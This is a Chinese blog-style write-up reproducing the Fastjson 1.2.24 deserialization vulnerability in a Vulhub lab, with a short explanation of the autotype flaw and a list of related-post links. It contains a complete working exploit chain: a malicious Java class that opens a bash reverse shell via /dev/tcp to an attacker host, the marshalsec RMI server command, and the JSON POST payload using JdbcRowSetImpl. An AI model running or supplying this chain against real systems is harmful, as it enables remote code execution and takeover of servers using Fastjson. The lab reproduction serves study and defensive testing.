Fastjson反序列化漏洞 1.2.24

Fastjson介绍

Fastjson是阿里巴巴其中的开源项目之一,是一款将json字符串和java对象进行序列化和反序列化的开源json解析库

下面是Fastjson的一些优点

提供了autotype自省功能

下面是利用的大概流程,首先访问攻击者拿marshalsec启动的LDAP端口,之后会被指向一个恶意的站点,也就是攻击者启动的http服务,去执行恶意代码,建立反弹连接

复现:

还是拿vulhub搭建好环境

然后开始做准备步骤

编写一个恶意java文件,然后编译为class文件

import java.lang.Runtime; import java.lang.Process; public class touchfile{ static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.10.130/9999 0>&1"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { } } }

然后进入marshalsec-master目录下的target目录下执行,marshalsec是安装RMI的那个目录,target是编译后的目录

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.10.130:8000/#LinuxTouch" 6666

开启RMI服务器,监听6666端口,然后指向恶意的站点的8000端口,下面放LinuxTouch的class的恶意文件

监听9999端口

最后发送post数据包

POST / HTTP/1.1

Host:your-ip:8090

Accept-Encoding:gzip,deflate

Accept: /

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/json

Content-Length: 160

{

"b":{

"@type":"com.sun.rowset.JdbcRowSetImpl",

"dataSourceName":"rmi://192.168.10.130:6666/LinuxTouch",

"autoCommit":true

}

}

可以成功反弹shell

总结:

fastjson是阿里巴巴开发的一款将json字符串和java对象进行序列化和反序列化的开源json解析库。fastjson提供了autotype功能,在请求过程中,我们可以在请求包中通过修改@type的值,来反序列化为指定的类型,而fastjson在反序列化过程中会设置和获取类中的属性,如果类中存在恶意方法,就会导致代码执行等这类问题。

相关推荐

  1. shiro序列fastjson序列漏洞原理

    2024-04-01 00:00:03       27 阅读
  2. Fastjson 1.2.24序列漏洞(Vulhub)使用方法

    2024-04-01 00:00:03       12 阅读

最近更新

  1. leetcode705-Design HashSet

    2024-04-01 00:00:03       8 阅读
  2. Unity发布webgl之后打开streamingAssets中的html文件

    2024-04-01 00:00:03       8 阅读
  3. vue3、vue2中nextTick源码解析

    2024-04-01 00:00:03       8 阅读
  4. 高级IO——React服务器简单实现

    2024-04-01 00:00:03       8 阅读
  5. 将图片数据转换为张量(Go并发处理)

    2024-04-01 00:00:03       7 阅读
  6. go第三方库go.uber.org介绍

    2024-04-01 00:00:03       8 阅读
  7. 前后端AES对称加密 前端TS 后端Go

    2024-04-01 00:00:03       9 阅读

热门阅读

  1. 带头循环双向链表的实现

    2024-04-01 00:00:03       6 阅读
  2. 《堕落的审判》吵架台词

    2024-04-01 00:00:03       5 阅读
  3. 算法设计-杨辉三角

    2024-04-01 00:00:03       5 阅读
  4. 记 SpringBoot 使用@RequestBody 接收不到参数

    2024-04-01 00:00:03       6 阅读
  5. of_get_named_gpio()函数解析

    2024-04-01 00:00:03       4 阅读